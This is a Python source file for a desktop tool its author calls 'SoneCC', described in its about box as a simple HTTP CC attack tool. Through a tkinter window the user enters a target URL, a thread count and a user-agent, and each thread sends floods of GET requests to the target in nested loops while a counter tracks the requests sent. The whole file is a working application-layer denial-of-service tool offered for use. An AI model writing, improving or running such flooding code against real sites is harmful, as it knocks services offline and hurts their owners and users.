from email import header
from re import X
import tkinter 
import requests
import _thread
import time
from tkinter import Y, Button, ttk
from tkinter import messagebox
from tkinter import Menu
##公共数据交换区域
url = ""
threadnum = ""
putnum = 0
switch = 0
# 标题
Strtitle = "Sone CC By Furau"
# 菜单
def go(age):
    getvalue = comvalue.get()
    url = entry.get()
# 为线程定义一个函数
def print_time( threadName, delay):
   count = 0
   global putnum
   while count < 999:
      time.sleep(delay)
      count += 1
      for i in range(999):
          url = entry.get()
          r = requests.get(url) #像目标url地址发送get请求，返回一个response对象
          v3.set(str(putnum))
          putnum = putnum + 1
          

# 创建两个线程
def login():
    messagebox.showinfo('关于','SoneCC 一个简易的HTTP CC 攻击器\n给你的爱一直很安静\n来交换你偶尔给的关心\nby Furau\nwww.furau.com')
    messagebox.showinfo('关于',entry5.get())
def run():
    try:
        threadnum = entry3.get()
        for i in range(int(threadnum)):
            _thread.start_new_thread( print_time, ("攻击进程:" + str(i) + "\n", 2, ))
    except:
        pass
        print ("Error: 进程无法正常启动")
# 创建主窗口
win = tkinter.Tk()
win.title(Strtitle)  # 标题
win.geometry("520x205+400+200")  # 大小和位置
# 菜单
mainmenu = Menu(win)
# 确定主菜单
win.config(menu=mainmenu)
# 菜单开始创建

submenu3 = Menu(mainmenu, tearoff=0)
submenu3.add_command(label='关于程序',command=login)
submenu3.add_separator()
submenu3.add_command(label='退出程序',command=win.destroy)
submenu4 = Menu(mainmenu, tearoff=0)
submenu4.add_command(label='开始模拟',command=run)
submenu4.add_separator()
submenu4.add_command(label='退出程序',command=win.destroy)

# 主菜单栏上添加依次添加三个有多层级的子菜单栏


mainmenu.add_cascade(label='帮助',menu=submenu3)
mainmenu.add_cascade(label='启动服务',menu=submenu4)

# 菜单创建结束
##添加标签[攻击目标]
label = tkinter.Label(win, text="攻击地址:", font=("宋体", 8), width=10, height=4)
label.pack()
label.place(x=15, y=0)
##添加文本框[攻击目标]
v = tkinter.Variable()
entry = tkinter.Entry(win, textvariable=v,width = 60)
entry.pack()
entry.place(x =75,y =15)
# v 代表输入框这个对象，设置默认值
v.set("http://www.xxx.xxx")
##添加标签[攻击方式]
label2 = tkinter.Label(win, text="攻击方式:", font=("宋体", 8), width=10, height=2)
label2.pack()
label2.place(x=15, y=37)
##添加文本框[攻击目标]
v2 = tkinter.Variable()
# v 代表输入框这个对象，设置默认值
v2.set("300")
# 加载、显示标签
# 创建一个下拉列表
comvalue=tkinter.StringVar()#窗体自带的文本，新建一个值
comboxlist = ttk.Combobox(win,textvariable=comvalue) #初始化
comboxlist["values"]=("POST","GET")
comboxlist.current(0)  #选择第一个
comboxlist.bind("<<ComboboxSelected>>",go)  #绑定事件,(下拉列表框被选中时，绑定go()函数)
comboxlist.pack()
comboxlist.place(x =75,y = 40)

##创建线程
##添加标签[线程数量]
label3 = tkinter.Label(win, text="线程数量:", font=("宋体", 8), width=10, height=2)
label3.pack()
label3.place(x=15, y=70)
##添加文本框[线程数量]
v3 = tkinter.Variable()
entry3 = tkinter.Entry(win, textvariable=v2,width = 23)
entry3.pack()
entry3.place(x =75,y =71)
##发包数量开始
##添加标签[发包数量]
label4 = tkinter.Label(win, text="发包数量:", font=("宋体", 8), width=10, height=2)
label4.pack()
label4.place(x=15, y=100)

##添加文本框[发包数量]
v4 = tkinter.Variable()
entry4 = tkinter.Entry(win, textvariable=v3,width = 23)
entry4.pack()
entry4.place(x =75,y = 100)

##发包数量结束
##UA开始
##添加标签[UA]
label5 = tkinter.Label(win, text="UA代理:", font=("宋体", 8), width=10, height=2)
label5.pack()
label5.place(x = 15, y=130)

##添加文本框[欺骗参数]
v5 = tkinter.Variable()
entry5 = tkinter.Entry(win, textvariable=v5,width = 60)
v5.set('Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0')
entry5.pack()
entry5.place(x=75,y = 130)


win.resizable(0,0)
# 进入消息循环，显示窗口界面

win.mainloop()



